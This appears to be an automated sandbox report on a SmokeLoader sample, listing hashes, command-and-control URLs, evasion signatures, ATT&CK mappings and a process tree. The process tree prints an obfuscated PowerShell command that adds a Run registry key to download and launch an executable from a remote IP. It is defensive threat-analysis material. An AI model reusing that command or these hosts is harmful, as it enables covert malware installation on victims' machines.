Analysis

  • max time kernel
    150s
  • max time network
    198s
  • platform
    windows7_x64
  • resource
    win7v20210410
  • submitted
    13-08-2021 07:58

General

  • Target

    b5de39be28a0649ef87494a658668e13.exe

  • Size

    180KB

  • MD5

    b5de39be28a0649ef87494a658668e13

  • SHA1

    92e28e70185243da45ee2432241a58b0d4e7fda3

  • SHA256

    138d79111af4f878d637e1a8dcf7dbdd46f70527eb68908ad2f977a3554031eb

  • SHA512

    2065705100b75f249a6d558342b228442785c0848e027c805e7785de954d7dce93a015e4be9d1ce80a26d5e5bb22d0b4d788ee02dea22413f35a227928608e31

Malware Config

Extracted

Family

smokeloader

Version

2020

C2

http://readinglistforjuly1.xyz/

http://readinglistforjuly2.xyz/

http://readinglistforjuly3.xyz/

http://readinglistforjuly4.xyz/

http://readinglistforjuly5.xyz/

http://readinglistforjuly6.xyz/

http://readinglistforjuly7.xyz/

http://readinglistforjuly8.xyz/

http://readinglistforjuly9.xyz/

http://readinglistforjuly10.xyz/

http://readinglistforjuly1.site/

http://readinglistforjuly2.site/

http://readinglistforjuly3.site/

http://readinglistforjuly4.site/

http://readinglistforjuly5.site/

http://readinglistforjuly6.site/

http://readinglistforjuly7.site/

http://readinglistforjuly8.site/

http://readinglistforjuly9.site/

http://readinglistforjuly10.site/

rc4.i32
rc4.i32

Signatures

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 6 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Drops startup file 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Themida packer 2 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 6 IoCs
  • Suspicious use of SendNotifyMessage 8 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 42 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\b5de39be28a0649ef87494a658668e13.exe
    "C:\Users\Admin\AppData\Local\Temp\b5de39be28a0649ef87494a658668e13.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:592
    • C:\Users\Admin\AppData\Local\Temp\b5de39be28a0649ef87494a658668e13.exe
      "C:\Users\Admin\AppData\Local\Temp\b5de39be28a0649ef87494a658668e13.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:1992
  • C:\Users\Admin\AppData\Local\Temp\C85E.exe
    C:\Users\Admin\AppData\Local\Temp\C85E.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetWindowsHookEx
    PID:240
  • C:\Users\Admin\AppData\Local\Temp\CC93.exe
    C:\Users\Admin\AppData\Local\Temp\CC93.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:768
    • C:\ProgramData\Runtimebroker.exe
      "C:\ProgramData\Runtimebroker.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:1940
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell Set-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'Sound device' -Value 'Cmd.Exe /c POwERsheLl -WinD HIDDen -CoMmAN (New-Object System.Net.WebClient).DownloadFile((''http://193.56.146.55/Ru''+''nti''+''m''+''ebr''+''oke''+''r.exe''),($env:TEMP+''\Vp''+''nm.e''+''xe''));Start-Process ($env:TEMP+''\V''+''pn''+''m.exe'')'
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1996
  • C:\Users\Admin\AppData\Local\Temp\CF62.exe
    C:\Users\Admin\AppData\Local\Temp\CF62.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:860
    • C:\Windows\SysWOW64\cmd.exe
      cmd /Q /C C:\Users\Admin\AppData\Local\Temp/s.bat
      2⤵
      • Drops startup file
      PID:1320
  • C:\Users\Admin\AppData\Local\Temp\D2CC.exe
    C:\Users\Admin\AppData\Local\Temp\D2CC.exe
    1⤵
    • Executes dropped EXE
    PID:856
  • C:\Users\Admin\AppData\Local\Temp\DA6B.exe
    C:\Users\Admin\AppData\Local\Temp\DA6B.exe
    1⤵
    • Executes dropped EXE
    • Checks BIOS information in registry
    • Checks whether UAC is enabled
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious use of AdjustPrivilegeToken
    PID:1692

Network

MITRE ATT&CK Matrix ATT&CK v6

Defense Evasion

Virtualization/Sandbox Evasion

1
T1497

Discovery

Query Registry

3
T1012

Virtualization/Sandbox Evasion

1
T1497

System Information Discovery

4
T1082

Peripheral Device Discovery

1
T1120

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\ProgramData\Runtimebroker.exe
    MD5

    4f2f17aaf39970811b9f822b1496dc01

    SHA1

    bf89cf8fbf826b02d4d3eebe8ef3aee1455dc876

    SHA256

    3ea9f73f3772290bdfe770b50dc7c726098b6712d327acc90200b31980c8576b

    SHA512

    44c35d1b0188a05c65fb5089ab5c6c5fb4baf65d3e6d065c96db167a5cccf344185a40fda256da69f518275670ca3e0bc1097064edb8cf0ac0c2c604cd1368a9

  • C:\ProgramData\Runtimebroker.exe
    MD5

    4f2f17aaf39970811b9f822b1496dc01

    SHA1

    bf89cf8fbf826b02d4d3eebe8ef3aee1455dc876

    SHA256

    3ea9f73f3772290bdfe770b50dc7c726098b6712d327acc90200b31980c8576b

    SHA512

    44c35d1b0188a05c65fb5089ab5c6c5fb4baf65d3e6d065c96db167a5cccf344185a40fda256da69f518275670ca3e0bc1097064edb8cf0ac0c2c604cd1368a9

  • C:\Users\Admin\AppData\Local\Temp\C85E.exe
    MD5

    a69e12607d01237460808fa1709e5e86

    SHA1

    4a12f82aee1c90e70cdf6be863ce1a749c8ae411

    SHA256

    188e05efb42c1f7fdb5c910a6614f710a87ae642b23ac9ffe3f75246744865bc

    SHA512

    7533e6da6bac0405fc8b608da8020b54b6ee02592e6fd40ea342e130a8a876ae5ef4a1fd636d95e76339dbf8be45cecbd22ca2d0a4635b055ffafec3d7e15284

  • C:\Users\Admin\AppData\Local\Temp\CC93.exe
    MD5

    4f2f17aaf39970811b9f822b1496dc01

    SHA1

    bf89cf8fbf826b02d4d3eebe8ef3aee1455dc876

    SHA256

    3ea9f73f3772290bdfe770b50dc7c726098b6712d327acc90200b31980c8576b

    SHA512

    44c35d1b0188a05c65fb5089ab5c6c5fb4baf65d3e6d065c96db167a5cccf344185a40fda256da69f518275670ca3e0bc1097064edb8cf0ac0c2c604cd1368a9

  • C:\Users\Admin\AppData\Local\Temp\CC93.exe
    MD5

    4f2f17aaf39970811b9f822b1496dc01

    SHA1

    bf89cf8fbf826b02d4d3eebe8ef3aee1455dc876

    SHA256

    3ea9f73f3772290bdfe770b50dc7c726098b6712d327acc90200b31980c8576b

    SHA512

    44c35d1b0188a05c65fb5089ab5c6c5fb4baf65d3e6d065c96db167a5cccf344185a40fda256da69f518275670ca3e0bc1097064edb8cf0ac0c2c604cd1368a9

  • C:\Users\Admin\AppData\Local\Temp\CF62.exe
    MD5

    b19ac380411ed5d8b5a7e7e0c1da61a6

    SHA1

    9665c20336a5ce437bbf7b564370bfa43e99954c

    SHA256

    aba88a19b2f6e2cf9a6a41ab8661d83c433acec363028f58dd74d37e335c7619

    SHA512

    73b4e3555cf9496a7138a2c7071ed81a754493afaf15f604a305f3eb051ed72645731a6174b0934f24371dbe5bd8c0185516f87778a018d84df4fff8aea0c208

  • C:\Users\Admin\AppData\Local\Temp\CF62.exe
    MD5

    b19ac380411ed5d8b5a7e7e0c1da61a6

    SHA1

    9665c20336a5ce437bbf7b564370bfa43e99954c

    SHA256

    aba88a19b2f6e2cf9a6a41ab8661d83c433acec363028f58dd74d37e335c7619

    SHA512

    73b4e3555cf9496a7138a2c7071ed81a754493afaf15f604a305f3eb051ed72645731a6174b0934f24371dbe5bd8c0185516f87778a018d84df4fff8aea0c208

  • C:\Users\Admin\AppData\Local\Temp\D2CC.exe
    MD5

    5707ddada5b7ea6bef434cd294fa12e1

    SHA1

    45bb285a597b30e100ed4b15d96a29d718697e5e

    SHA256

    85205aa3ad824b5172d5da841d253c3a54aff5d00eb2c208029e9453008f132c

    SHA512

    91cbdbf8da7e4e34de45a99359bdc321a66d6646ed14a1042346824c8daa6237281eff3b00fd162009c5e3204e5a7cd3b944f05e18b7f9066d0f9dd16b56bf13

  • C:\Users\Admin\AppData\Local\Temp\D2CC.exe
    MD5

    5707ddada5b7ea6bef434cd294fa12e1

    SHA1

    45bb285a597b30e100ed4b15d96a29d718697e5e

    SHA256

    85205aa3ad824b5172d5da841d253c3a54aff5d00eb2c208029e9453008f132c

    SHA512

    91cbdbf8da7e4e34de45a99359bdc321a66d6646ed14a1042346824c8daa6237281eff3b00fd162009c5e3204e5a7cd3b944f05e18b7f9066d0f9dd16b56bf13

  • C:\Users\Admin\AppData\Local\Temp\DA6B.exe
    MD5

    717d65dba56f47e540dca074c3977b3d

    SHA1

    d58aa30f826f41663e693f0ad930fdce584f1672

    SHA256

    61fb1160ae372d9ba1c95400d5439450c6a66cdf073fa50ee2d5d10c4952cbb3

    SHA512

    b06e4358411eb8f6315c574922c021bd57218b3e6a0ed727df6b44e20e7818d40fb0347050ce9145ea7e0fd56a7fa93a2358e524c0df030d6d44067c7c83510d

  • C:\Users\Admin\AppData\Local\Temp\s.bat
    MD5

    d187a208393e6afda6dc87c82c7245ea

    SHA1

    8081c582b97af0b6abfb3ed0cfd5e400754bfcb7

    SHA256

    a2d765ed71941ab4e0db2526de99f3c16838fb19e6577d5f126712649036c6c5

    SHA512

    da8e3a3320768d6aac3bba8486820dc31e3393ecaa0109312197429a922dcc8451d8b8c6e1cfa48162f40c598be206d1c206df7adf38c495d245b3dd65501895

  • \ProgramData\Runtimebroker.exe
    MD5

    4f2f17aaf39970811b9f822b1496dc01

    SHA1

    bf89cf8fbf826b02d4d3eebe8ef3aee1455dc876

    SHA256

    3ea9f73f3772290bdfe770b50dc7c726098b6712d327acc90200b31980c8576b

    SHA512

    44c35d1b0188a05c65fb5089ab5c6c5fb4baf65d3e6d065c96db167a5cccf344185a40fda256da69f518275670ca3e0bc1097064edb8cf0ac0c2c604cd1368a9

  • \ProgramData\Runtimebroker.exe
    MD5

    4f2f17aaf39970811b9f822b1496dc01

    SHA1

    bf89cf8fbf826b02d4d3eebe8ef3aee1455dc876

    SHA256

    3ea9f73f3772290bdfe770b50dc7c726098b6712d327acc90200b31980c8576b

    SHA512

    44c35d1b0188a05c65fb5089ab5c6c5fb4baf65d3e6d065c96db167a5cccf344185a40fda256da69f518275670ca3e0bc1097064edb8cf0ac0c2c604cd1368a9

  • memory/240-65-0x0000000000000000-mapping.dmp
  • memory/592-63-0x0000000000220000-0x000000000022A000-memory.dmp
    Filesize

    40KB

  • memory/768-69-0x0000000000000000-mapping.dmp
  • memory/768-80-0x0000000000220000-0x000000000025B000-memory.dmp
    Filesize

    236KB

  • memory/768-81-0x0000000000400000-0x0000000002C7C000-memory.dmp
    Filesize

    40.5MB

  • memory/856-88-0x0000000000650000-0x0000000000651000-memory.dmp
    Filesize

    4KB

  • memory/856-83-0x0000000000000000-mapping.dmp
  • memory/856-86-0x0000000001210000-0x0000000001211000-memory.dmp
    Filesize

    4KB

  • memory/860-91-0x00000000032E0000-0x0000000003523000-memory.dmp
    Filesize

    2.3MB

  • memory/860-96-0x0000000000400000-0x0000000002D86000-memory.dmp
    Filesize

    41.5MB

  • memory/860-105-0x0000000004E70000-0x0000000005081000-memory.dmp
    Filesize

    2.1MB

  • memory/860-112-0x0000000000400000-0x0000000002D86000-memory.dmp
    Filesize

    41.5MB

  • memory/860-76-0x0000000000000000-mapping.dmp
  • memory/1256-64-0x0000000002C20000-0x0000000002C36000-memory.dmp
    Filesize

    88KB

  • memory/1320-108-0x0000000000000000-mapping.dmp
  • memory/1692-89-0x0000000000000000-mapping.dmp
  • memory/1692-94-0x0000000000C50000-0x0000000000C51000-memory.dmp
    Filesize

    4KB

  • memory/1692-97-0x0000000002850000-0x0000000002851000-memory.dmp
    Filesize

    4KB

  • memory/1940-75-0x0000000000000000-mapping.dmp
  • memory/1940-82-0x0000000000400000-0x0000000002C7C000-memory.dmp
    Filesize

    40.5MB

  • memory/1992-62-0x0000000075A71000-0x0000000075A73000-memory.dmp
    Filesize

    8KB

  • memory/1992-60-0x0000000000400000-0x0000000000409000-memory.dmp
    Filesize

    36KB

  • memory/1992-61-0x0000000000402E1A-mapping.dmp
  • memory/1996-101-0x00000000023F0000-0x00000000023F1000-memory.dmp
    Filesize

    4KB

  • memory/1996-106-0x0000000004790000-0x0000000004791000-memory.dmp
    Filesize

    4KB

  • memory/1996-103-0x0000000004980000-0x0000000004981000-memory.dmp
    Filesize

    4KB

  • memory/1996-109-0x0000000005340000-0x0000000005341000-memory.dmp
    Filesize

    4KB

  • memory/1996-104-0x0000000004982000-0x0000000004983000-memory.dmp
    Filesize

    4KB

  • memory/1996-102-0x00000000049C0000-0x00000000049C1000-memory.dmp
    Filesize

    4KB

  • memory/1996-99-0x0000000000000000-mapping.dmp